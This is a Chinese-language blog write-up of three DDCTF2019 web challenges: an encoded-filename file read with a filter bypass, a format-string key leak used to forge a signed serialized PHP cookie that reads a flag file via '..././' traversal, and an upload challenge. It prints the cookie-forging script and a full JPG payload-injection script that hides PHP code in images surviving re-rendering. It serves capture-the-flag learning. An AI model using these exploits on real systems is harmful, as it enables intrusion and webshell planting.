DDCTF2019部分Web題Write Up

聲明:語言表達(dá)能力有限,本問僅供學(xué)習(xí)參考,大佬勿噴!

本文主要記錄DDCTF2019中部分web賽題的解題過程,僅學(xué)習(xí)參考使用。

滴~

1).首先打開題目,url為http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,圖中出現(xiàn)兩個flag.jpg,和一個心情復(fù)雜的表情包??匆幌略创a,發(fā)現(xiàn)應(yīng)該是將文件內(nèi)容進(jìn)行base64編碼,然后當(dāng)作圖片的內(nèi)容輸出。

image.png
image.png

2).第一反應(yīng)是文件包含,jpg參數(shù)看不懂。TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,解碼看看,通過先進(jìn)行兩次base64解碼,再對解碼解碼進(jìn)行16進(jìn)制解碼,發(fā)現(xiàn)結(jié)果為flag.jpg。由此可以知道,文件名需要先進(jìn)行16進(jìn)制編碼,再進(jìn)行兩次base64編碼。

3).嘗試讀取/etc/passwd,但是好像不能夠目錄跳轉(zhuǎn),過濾了/。

image.png

4).試一試讀取index.php內(nèi)容,初步猜想,讀取源碼,進(jìn)行代碼審計。

image.png
image.png

5).將base64部分解碼,得到index.php源碼如下。

image.png
<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

6).看來思路沒錯,接下來看文件代碼,發(fā)現(xiàn)代碼是一些基本的功能輸出,并沒有解題的線索,唯一吸引注意的是注釋部分,發(fā)現(xiàn)了一個博客地址。

image.png

打開博客,再別人提示下注意到這篇文章,看到這我不得不吐槽一句,出題人腦子有坑吧,線索在博客中就不說了,你倒是直接鏈接到這篇文章也行啊,坑爹!接下來看看這篇文章,其實沒啥看的,就是linux下文件意外退出,會留下一個.swp交換文件。

image.png

7).那就是文章中說的這個practice.txt.swp隱藏文件吧。于是繼續(xù)讀取文件源碼吧,還是將practice.txt.swp文件通過hex()——>base64()——>base64()順序編碼,然后讀取內(nèi)容。

image.png
image.png
image.png

看到了practice.txt.swp里面內(nèi)容為f1ag!ddctf.php,到這個地方明顯離成功不遠(yuǎn)了,應(yīng)該就是繼續(xù)讀取f1ag!ddctf.php文件內(nèi)容了。

8). 之前在讀取index.php文件時候,注意以下代碼。

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';

很明顯意思就是文件名在a-zA-Z0-9.中,不能有!,但是下面一行代碼是將config字符串替換為!,分析完其實很簡單了,要將f1ag!ddctf.php名變成f1agconfigddctf.php就行了。

9).讀取f1ag!ddctf.php內(nèi)容。

image.png
image.png
image.png
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

10). 審計f1ag!ddctf.php,發(fā)現(xiàn)這個出題人可能腦子短路了吧,在這先說結(jié)論,php代碼中$content='',因此我們只需要傳入uid=即可拿到flag,因為題目本身就不存在名為hello的文件,或者就是hello文件里面為空,所以file_get_contents($k)的值返回false,然后再經(jīng)過trim()函數(shù)false被轉(zhuǎn)換成空字符串"",因此,傳入uid等于空即可繞過判斷得到flag。注意此處絕對不能想錯了誤以為file_get_contents($k)會將返回值復(fù)制給變量。因此說出題人本來是想考察extract()變量覆蓋的,結(jié)果弄巧成拙,代碼中即使==換成===仍然成立,這樣看來這道題最后還變簡單了。

image.png

假如我將$k值覆蓋掉為一個存在的文件名config.php,如下:

image.png

看到此處相信都明白我所說的意思了吧,如有疑惑建議親自動手實踐解惑!


WEB簽到題
  1. 首先打開題目,如下圖所示:抱歉,您沒有登陸權(quán)限,請獲取權(quán)限后訪問-----
image.png
  1. 很明顯首先要繞過認(rèn)證才能訪問,通過源碼信息查看,發(fā)現(xiàn)了一個ajax請求,如下所示:
image.png
  1. 發(fā)現(xiàn)didictf_username字段可能是一個認(rèn)證字段,于是走流程抓包發(fā)現(xiàn)didictf_username字段,但是不知道名字啊,這個時候就要根據(jù)經(jīng)驗了,試試admin吧,果不其然,通過驗證,如下所示:
image.png
  1. 通過驗證之后顯示結(jié)果為:您當(dāng)前當(dāng)前權(quán)限為管理員----請訪問:app/fL2XID2i0Cdh.php
image.png
  1. 下面接著訪問app/fL2XID2i0Cdh.php,發(fā)現(xiàn)了是兩個php文件源碼,這就很明顯了,接下來就是代碼審計,繞過流程,輸出flag了。

url:app/Application.php

Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您當(dāng)前當(dāng)前權(quán)限為管理員----請訪問:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您沒有登陸權(quán)限,請獲取權(quán)限后訪問-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

url:app/Session.php

include 'Application.php';
class Session extends Application {

    //key建議為8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

分析這兩個php文件,僅僅兩個類而已,不過本人太菜,分析了1天,第一個文件app/Application.php定義了一個Application類;第二個文件app/Session.php也是一個類,不過這個Session類是繼承于Application類,然后最后定義一個對象ddctf,這個對象調(diào)用index()函數(shù)。大概過程就是這樣,比較簡單。主要就是里面的東西。接下來稍微具體的分析下兩個文件里面功能設(shè)計。

第一個文件:首先是定義了一個$path;然后是response()函數(shù),這個函數(shù)主要是輸出信息的,接著是auth()認(rèn)證函數(shù),這個就是控制訪問權(quán)限的,可以看到要想通過認(rèn)證,必須使$_SERVER['HTTP_DIDICTF_USERNAME']等于admin,即HTTP頭部字段didictf_usernameadmin;接下來是sanitizepath()函數(shù),這個函數(shù)是對變量path的字符串的過濾,這個地方隨后會用的到,開始沒想到這個地方;接下來就是類中的析構(gòu)函數(shù)__destruct,可以看到,如果path變量為空,就會退出,path變量長度不是18位也會退出,最后是讀取path路徑的文件內(nèi)容并使用response()輸出。

第二個文件:繼承于上個文件中的類,之前說過,里面開始定義了一些類中變量;下面第一個函數(shù)為index()函數(shù),這個文件在這里面也是相當(dāng)于一個主函數(shù)了,里面主要調(diào)用的是session_read()session_create()兩個函數(shù),同時還使用parent關(guān)鍵字調(diào)用使用父類中的response()函數(shù);還有一個get_key()函數(shù),功能是相當(dāng)于讀取../config/key.txt中8位的密鑰吧,之前也有提示下面會用到,不過此處有個提示//eancrykey and flag under the folder,提示說的是flag也在這個文件夾下。

具體還是說一下session_read()session_create()兩個函數(shù),在index()函數(shù)里面,如果請求包里面沒有設(shè)置cookie就會啟用session_create()函數(shù),反之,設(shè)置有cookie,就會調(diào)用session_create()函數(shù)。session_create()函數(shù)是創(chuàng)建cookie的函數(shù),里面沒什么要說的;session_read()函數(shù)是讀取cookie,通過分析可以知道,如果我們知道key就可以任意構(gòu)造cookie了,關(guān)鍵是如何將key值輸出。關(guān)鍵代碼如下:

if(!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data,$v);
    }
    parent::response($data,"Welcome");
}

可以看到此處有輸出數(shù)組,但是關(guān)鍵此處輸出只能輸出nickname的值,因為nickname的值把%s占位符替代之后,循環(huán)到$this->eancrykey時候,就無法輸出$this->eancrykey,例如假如post的數(shù)據(jù)為nickname=zzqsmile,data就變成了"Welcome my friend zzqsmile",此時我們要仔細(xì)想一想如和才能繞過第一個POST的數(shù)據(jù),來輸出this->eancrykey,仔細(xì)想下可能會想到吧,就是直接傳入%s作為nickname變量的值,這樣就能夠?qū)⒈闅v到$this->eancrykey的值拼接到data并通過父類response()函數(shù)輸出。拿到this->eancrykey的值就可以隨便構(gòu)造Cookie。

分析到這,人已經(jīng)蒙了,怎么才能輸出flag呢?這時候又要回去看Application.php文件中類的析構(gòu)函數(shù)了,析構(gòu)函數(shù)中可以讀取$path的文件內(nèi)容,因此,僅僅需要用心構(gòu)造好一個cookie,將文件路徑寫進(jìn)$path,等到觸發(fā)析構(gòu)函數(shù)的時候讓其輸出flag文件內(nèi)容,此時又需要一個腦洞,通過提示知道文件路徑是18位,flag文件和key在一個文件夾下,因此猜想路徑為../config/flag.txt,正好18位。但是之前對../進(jìn)行過濾了,所以在構(gòu)造序列化對象時候要構(gòu)造成..././config/flag.txt,分析完之后就開干。

訪問app/Session.php文件。

image.png
可以看到開始沒有cookie時會設(shè)置cookie。
image.png

可以看到圖中標(biāo)記紅色部分1a303cbea7ecff312df1cbd194e1def0即是$cookiedata.md5($this->eancrykey.$cookiedata);的結(jié)果。這個cookie是通過是一個合法的cookie,那么如果我們將這段合法的cookie帶進(jìn)頭部,程序是不是就會讀取這段cookie了,這樣程序就會執(zhí)行到session_read()里面,如下:

image.png

沒毛病,按照之前分析,下一步得到$this->eancrykey的值EzblrbNS,不過此處要注意的是Content-Type:字段值是否為:application/x-www-form-urlencoded,關(guān)鍵點(diǎn)都已在下圖標(biāo)出。

image.png

得到$this->eancrykey值接下來就寫個很low的腳本構(gòu)造下cookie。

<?php
Class Application {
    var $path = '..././config/flag.txt';
}

//$this->eancrykey
$zzz = new Application();
$b = serialize($zzz); 
echo "$b";
echo "<br>";
//$b// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}
$a = $b.md5('EzblrbNS'.$b);
echo $a; 
//$a// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2 
//
echo "<br>";
echo urlencode($a);

//urlencode($a)//  O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2
?>

帶入構(gòu)造的cookie成功拿到flag。

image.png

Upload-IMG

1). 按照給的認(rèn)證用戶名,密碼進(jìn)入題目

image.png
image.png

通過測試發(fā)現(xiàn),主要是只能上傳圖片,題目是通過文件內(nèi)容中有phpinfo()字符串來決定是否通關(guān)的,測試發(fā)現(xiàn),上傳的圖片是被經(jīng)過二次渲染的,因此,就要繞過二次渲染,使其phpinfo()內(nèi)容不發(fā)生改變。

2). 直接用據(jù)說國外牛人寫的腳本制作圖片馬。

腳本jpg_payload.php:

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
  • 使用方法

1). 隨便找一個jpg圖片,先上傳至服務(wù)器然后再下載到本地保存為1.jpg
2). 使用腳本處理1.jpg,命令php jpg_payload.php 1.jpg

親測有效,不愧是大佬,穩(wěn)了一P。

image.png
  • 參考

https://xz.aliyun.com/t/2657


<完>太菜了,只能玩到這了,寫的不好別噴,坐等其他Writeup

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容